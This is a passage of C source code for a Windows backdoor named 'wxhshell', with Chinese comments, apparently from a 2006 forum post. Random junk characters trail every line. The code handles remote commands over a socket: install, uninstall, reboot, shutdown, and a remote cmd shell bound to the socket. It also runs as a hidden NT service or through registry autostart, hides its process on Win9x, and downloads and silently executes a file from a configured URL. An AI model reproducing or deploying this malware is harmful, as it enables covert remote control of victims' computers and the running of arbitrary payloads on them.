  } gw);b)&mx  
  else { nXnO]wXC  
vx8-~Oq{|;  
    switch(cmd[0]) { .ITR3]$  
  X:Z*7P/  
  // 帮助 6t(I.>-  
  case '?': { dY%>C75O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >,. x'{  
    break; "vG~2J  
  } -THU5AB  
  // 安装 FlQ(iv)P  
  case 'i': { }c~o3t(7`b  
    if(Install()) b];? tP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F/I`EV  
    else @$(@64r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c- {;P>L  
    break; `;fk,\8t%  
    } =/jCDY  
  // 卸载 z4 yV1  
  case 'r': { c_YP#U  
    if(Uninstall()) j? P=}_Ru  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;O)Dw  
    else QL4BD93v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,>Lj>g{~  
    break; RRH[$jk  
    } 9!06R-h  
  // 显示 wxhshell 所在路径 ai,Nx:r   
  case 'p': { 5*W<6ia  
    char svExeFile[MAX_PATH]; F ak"u'~  
    strcpy(svExeFile,"\n\r"); =`MU*Arcs[  
      strcat(svExeFile,ExeFile); v{dvB:KP5X  
        send(wsh,svExeFile,strlen(svExeFile),0); 6$|!_94>*)  
    break; %+,7=Wt-  
    } J(JqusQd !  
  // 重启 ^7 oXJu=  
  case 'b': { & 0*=F%Fd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +`)4jx)r/  
    if(Boot(REBOOT)) )mVpJYt;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a9CK4Kg  
    else { P<<hg3@  
    closesocket(wsh); $rG~0  
    ExitThread(0); GE{u2<%@  
    } 56 raZC  
    break; TQ\\/e:  
    } uNn]hl|x  
  // 关机 &7CAxU;i3  
  case 'd': { (;o/2Q?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ucVn `  
    if(Boot(SHUTDOWN)) ^5yFb=2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m"CsJ'\ors  
    else { 4pfv?!Oj  
    closesocket(wsh); 5@xl/  
    ExitThread(0); ;%H/^b.c  
    } MSw:Ay [9  
    break; i$:\,  
    } f4TNy^-  
  // 获取shell b\l +S2  
  case 's': { `Ko6;s#  
    CmdShell(wsh); rcWr0q  
    closesocket(wsh); iEJY[P1  
    ExitThread(0); (3>Z NTm  
    break; f(o1J|U{  
  } J|z>5Z  
  // 退出 GukS =rC9  
  case 'x': { +80yyn#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $Jt+>.44  
    CloseIt(wsh); j5yxdjx9  
    break; 9(PQ7}  
    } #6%9*Rh  
  // 离开 ^l(Kj3gM  
  case 'q': { "7*cF>FE8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mk-Rl  
    closesocket(wsh); </OZ,3J=  
    WSACleanup(); i!!1^DMrw  
    exit(1); Nd"4*l;  
    break; cF7efs8u  
        } ;P{HePs=)  
  } _26~<gU8  
  } itmdY!;<  
dsh S+d  
  // 提示信息 OEN!~-u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y^Olcz  
} w/`I2uYu  
  } %0z&k!P  
^\X-eeA  
  return; Yb<t~jm  
} I<'wZJRRa  
n' \poB?  
// shell模块句柄 FD&"k=p+X  
int CmdShell(SOCKET sock) l }i .  
{ 7;UUS1  
STARTUPINFO si; G:]w UC\  
ZeroMemory(&si,sizeof(si)); MU; L7^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JDyP..Dt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q9`}dYf.  
PROCESS_INFORMATION ProcessInfo; ]y:ez8RFPU  
char cmdline[]="cmd"; q~^qf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nbpGxUF`]  
  return 0; ].j;d2xT\  
} m&H@f:  
#sOkD  
// 自身启动模式 ItZqLUJ m  
int StartFromService(void) Fnnk }I}  
{ 1%?J l~M  
typedef struct pD+_ K  
{ a/Cd;T2  
  DWORD ExitStatus; .7ZV: m  
  DWORD PebBaseAddress; ="$9 <wt  
  DWORD AffinityMask; MMMuT^X  
  DWORD BasePriority; <3wfY #;><  
  ULONG UniqueProcessId; i U^tv_1  
  ULONG InheritedFromUniqueProcessId; <4gT8 kQ$x  
}   PROCESS_BASIC_INFORMATION; .."=  
D=w5Lks  
PROCNTQSIP NtQueryInformationProcess; _oB!-#  
w+P?JR!)+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u'o."J^&'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VFZ_Vw  
a]<y*N?qu  
  HANDLE             hProcess; o2FQ/EIE  
  PROCESS_BASIC_INFORMATION pbi; E6{|zF/3'  
5AWIk,[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0$-N  
  if(NULL == hInst ) return 0; cMCGaaLU  
poqcoSL"}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r.5}Q?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _`/: gkZS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'nOc_b0  
ltKUpRE\?  
  if (!NtQueryInformationProcess) return 0; gg>O:np8  
DA5kox&cU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z\{"/( Hi  
  if(!hProcess) return 0; Ut;, Z  
".9 b}}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nMK,g>wp  
HMQi:s7%  
  CloseHandle(hProcess); q1Ja*=r  
IpX>G]"-C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^6*2a(S&  
if(hProcess==NULL) return 0; d66 GO];"  
_E[zYSo`  
HMODULE hMod; *(%]|z}]m  
char procName[255]; 'n7 )()"2  
unsigned long cbNeeded; )Q_^f'4  
hJavi>374  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < sJ  
(p2jigP7a[  
  CloseHandle(hProcess); XY[uyR4Z  
vI<n~FHt  
if(strstr(procName,"services")) return 1; // 以服务启动 >a@c5  
9oly=&lJ  
  return 0; // 注册表启动 <q V<dK&W  
} Gz]p2KBg  
XwKB+Yj0  
// 主模块 [ 7W@/qqv  
int StartWxhshell(LPSTR lpCmdLine) gK{-eS  
{ ^f:oKKaAW;  
  SOCKET wsl; qSRE)C=)  
BOOL val=TRUE; (x{6N^J.t  
  int port=0; RR u1/nam  
  struct sockaddr_in door; 1LbJR'}  
T)"B35  
  if(wscfg.ws_autoins) Install(); n+db#qAj5  
lKo07s6u  
port=atoi(lpCmdLine); z\z mAus  
vJ__jO"Sq  
if(port<=0) port=wscfg.ws_port; rkF]Q_'`t;  
|IbCN  
  WSADATA data; _5F8F4QY`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0XCtw6  
$ e<&7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i ez@j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -^m]Tb<u  
  door.sin_family = AF_INET; 29(s^#e8A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yF &"'L  
  door.sin_port = htons(port); m{(G%n>E&  
EgAM,\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1l$c*STK  
closesocket(wsl); a?4'',~  
return 1; P8l x\DA  
} eyq8wQT  
q*,g  
  if(listen(wsl,2) == INVALID_SOCKET) { oe<9CK:?>  
closesocket(wsl); }%K)R 5C  
return 1; x>5"7MR`  
} *~~&*&+  
  Wxhshell(wsl); ^l}Esz`-M  
  WSACleanup(); {H FF|Dx  
V) #vvnq  
return 0; ZJCD)?]=3  
>7yOu!l  
} ][b_l(r$?  
^oNk}:>  
// 以NT服务方式启动 DYS|"tSk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '~2S BX?J  
{ 1bW[RK;GE  
DWORD   status = 0; 1'q llkT  
  DWORD   specificError = 0xfffffff; F9DY\EI  
?&Zfb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZeVb< g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a!Z.ZA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $is|B9B  
  serviceStatus.dwWin32ExitCode     = 0; MO7:ZYq  
  serviceStatus.dwServiceSpecificExitCode = 0; ,2H@xji [  
  serviceStatus.dwCheckPoint       = 0; [ugBVnma  
  serviceStatus.dwWaitHint       = 0; +}IOTw" O`  
"i+fO&LpZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uWs5 +  
  if (hServiceStatusHandle==0) return; m'|{AjH z6  
cR 0+`&  
status = GetLastError(); 3B }Oy$p  
  if (status!=NO_ERROR) FX+;azE7  
{ Tv d=EO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #b[B$  
    serviceStatus.dwCheckPoint       = 0; m2!y;)F0  
    serviceStatus.dwWaitHint       = 0; 2yYq/J  
    serviceStatus.dwWin32ExitCode     = status; cN/8 b0C  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^4Ta0kDn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &. sfu$]  
    return; 0~qnwe[g}  
  } `(j}2X'[  
Vx1xULdY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?eUhHKS5  
  serviceStatus.dwCheckPoint       = 0; :Oz! M&Ov  
  serviceStatus.dwWaitHint       = 0; FKU$HQw*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); * A B  
} dpHK~n j\_  
t/? x#X  
// 处理NT服务事件,比如:启动、停止 ISy\g`d`C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &5fM8 Opkd  
{ i#$N,kt  
switch(fdwControl) `'BvUTDyZ  
{ R:7j`gHJ|9  
case SERVICE_CONTROL_STOP: %T3L-{s5  
  serviceStatus.dwWin32ExitCode = 0; KF' $D:\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ") Xy%C`J  
  serviceStatus.dwCheckPoint   = 0; :G#>):  
  serviceStatus.dwWaitHint     = 0; 2=pVX  
  { :-x F=Y(;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S<Zb>9pl  
  } w!{g^*R+!  
  return; v1 h*/#  
case SERVICE_CONTROL_PAUSE: K8 Y/sHl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j(Tt-a("z  
  break; pVTx# rY  
case SERVICE_CONTROL_CONTINUE: ;\yVwur  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $i@~$m7d-  
  break; s'yA^ VPf  
case SERVICE_CONTROL_INTERROGATE: $xT'cl/IH  
  break; !"\UT&  
}; LD]>_P83  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4u;db_gX  
} cX$ Pq  
# [c`]v  
// 标准应用程序主函数 ;IX3w:Aw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SWujj,-[  
{ q.L0rY!  
#S+GI!  
// 获取操作系统版本 cE S3<`[K  
OsIsNt=GetOsVer(); " $5J7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;74hOHDS  
[eV!ho*r  
  // 从命令行安装 0( fN  
  if(strpbrk(lpCmdLine,"iI")) Install(); eJ0PSW/4l  
I13n mI\  
  // 下载执行文件 eup#.#J  
if(wscfg.ws_downexe) { RFyeA. N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Q bPz4,"  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^J0*]k%   
} PfTjC"`,  
D0(QZrVa  
if(!OsIsNt) { q|)8VmVV  
// 如果时win9x,隐藏进程并且设置为注册表启动 kJP fL s  
HideProc(); ]Y!$HT7\  
StartWxhshell(lpCmdLine); lxTW1kr  
} |sWH!:]49  
else /M>8ad  
  if(StartFromService()) mO$]f4}  
  // 以服务方式启动 &E.ckWf  
  StartServiceCtrlDispatcher(DispatchTable); z@hlN3dg  
else Yrp WGK520  
  // 普通方式启动 qv<[f=X9|  
  StartWxhshell(lpCmdLine); oy90|.]G  
3{o5AsVv  
return 0; h amn9  
}
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只看该作者 1 发表于: 2006-10-10
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